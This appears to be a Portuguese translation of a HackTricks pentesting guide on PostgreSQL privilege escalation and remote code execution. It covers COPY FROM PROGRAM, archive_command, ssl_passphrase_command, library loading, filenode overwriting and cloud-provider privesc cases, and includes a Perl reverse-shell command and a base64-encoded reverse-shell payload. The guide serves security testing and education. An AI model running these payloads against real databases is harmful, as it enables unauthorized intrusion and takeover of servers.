Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
O **PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **código aberto**. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você saberá que está dentro de um **banco de dados PostgreSQL da AWS**.
De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, o `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Abaixo estão listados exemplos desses detalhes.
```DETAIL: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?```
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, poderá recuperar as informações necessárias. Se extrair nomes de usuário e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de lista de palavras discutido na seção anterior, pois poderia potencialmente fornecer resultados positivos.
| rolsuper | Função tem privilégios de superusuário |
| rolinherit | Função herda automaticamente os privilégios das funções das quais é membro |
| rolcreaterole | Função pode criar mais funções |
| rolcreatedb | Função pode criar bancos de dados |
| rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser fornecida como o identificador de autorização de sessão inicial |
| rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. |
| rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
| rolpassword | Não a senha (sempre lida como `********`) |
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
| rolbypassrls | Função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. |
| rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são o **mesmo**. Apenas depende de **como você o usa** e se você **permite o login**.
A partir deste [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`):
Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las:
Pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo se você estiver usando uma carga útil em base64, **você precisa enviar em uma linha**.\
Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.**
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor **sobrescrevendo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
**Nota:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, você pode consultar a versão principal do PostgreSQL por meio da consulta `SELECT version()` e tentar forçar o caminho. Os caminhos comuns de diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`.
2. Obter um caminho relativo para o nó de arquivo, associado à tabela de destino
Esta consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`.
3. Baixar o nó de arquivo por meio das funções `lo_*`
5. Usar o [Editor de Nó de Arquivo do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o nó de arquivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); definir todas as flags booleanas `rol*` como 1 para permissões completas.
![Demonstração do Editor de Nó de Arquivo do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Reenviar o nó de arquivo editado por meio das funções `lo_*` e sobrescrever o arquivo original no disco
Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja** [**a seguinte seção**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Ou utilize o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\
Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Enquanto reportado como CVE-2019-9193, o Postges declarou que isso era um [recurso e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Uma vez que você tenha **aprendido** com o post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão do postgresql e carregando-a**.
Os seguintes vetores de RCE são especialmente úteis em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
O **arquivo de configuração** do PostgreSQL é **gravável** pelo usuário **postgres**, que é o que executa o banco de dados, então como **superusuário**, você pode escrever arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo.**
*`ssl_passphrase_command = ''` Se o arquivo privado é protegido por senha (criptografado), o postgresql irá **executar o comando indicado neste atributo**.
*`ssl_passphrase_command_supports_reload = off`**Se** este atributo estiver **ligado**, o **comando** executado se a chave for protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada tiver privilégios 640**, for **propriedade de root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_.
**Mais** [**informações sobre essa configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
4. Forçar a operação do WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
Podemos definir o valor de `dynamic_library_path` para um diretório gravável pelo usuário `postgres` que executa o banco de dados, por exemplo, o diretório `/tmp/`, e fazer upload de um objeto malicioso `.so` lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa nova biblioteca enviando-a na variável `session_preload_libraries`.
De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções com o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação a qualquer função** que **não** seja um **superusuário**._
Portanto, se você tiver permissão de **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não sejam superusuários) que podem permitir a leitura e escrita de arquivos e a execução de comandos:
É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer qualquer senha**. Portanto, uma vez que você tenha obtido **permissões para executar código**, você pode abusar dessas permissões para obter a função de **`SUPERUSER`**:
No [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível fazer **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:
Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
4. ALTERE o proprietário da tabela para "cloudsqladmin," que é a função de superusuário exclusivamente usada pelo Cloud SQL para gerenciar e manter o banco de dados.
5. Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto de usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo assim a execução do comando de shell previamente não autorizado.
Algumas instâncias mal configuradas do postgresql podem permitir o login de qualquer usuário local, é possível fazer login local a partir de 127.0.0.1 usando a função **`dblink`**:
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
[Neste artigo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram obter privilégios elevados dentro de uma instância do postgres fornecida pela IBM, porque eles **encontraram essa função com a flag SECURITY DEFINER**:
Como [explicado na documentação](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a Injeção de SQL** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, ela poderia ser abusada para **elevar privilégios dentro do postgres**.
**PL/pgSQL** é uma **linguagem de programação completa** que oferece maior controle procedural em comparação com o SQL. Ele permite o uso de **loops** e outras **estruturas de controle** para aprimorar a lógica do programa. Além disso, **declarações SQL** e **gatilhos** têm a capacidade de invocar funções criadas usando a **linguagem PL/pgSQL**. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.\
O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
Se você pode **ler e escrever em arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** sobrescrevendo o filenode em disco do PostgreSQL, associado à tabela interna `pg_authid`.
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todos os indicadores booleanos `rol*` como 1 para permissões completas.
Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome de usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg\_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: MD5-hashed, crypt-encrypted ou texto simples. É importante observar que o método crypt não pode ser usado com senhas que foram criptografadas em pg\_authid.
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\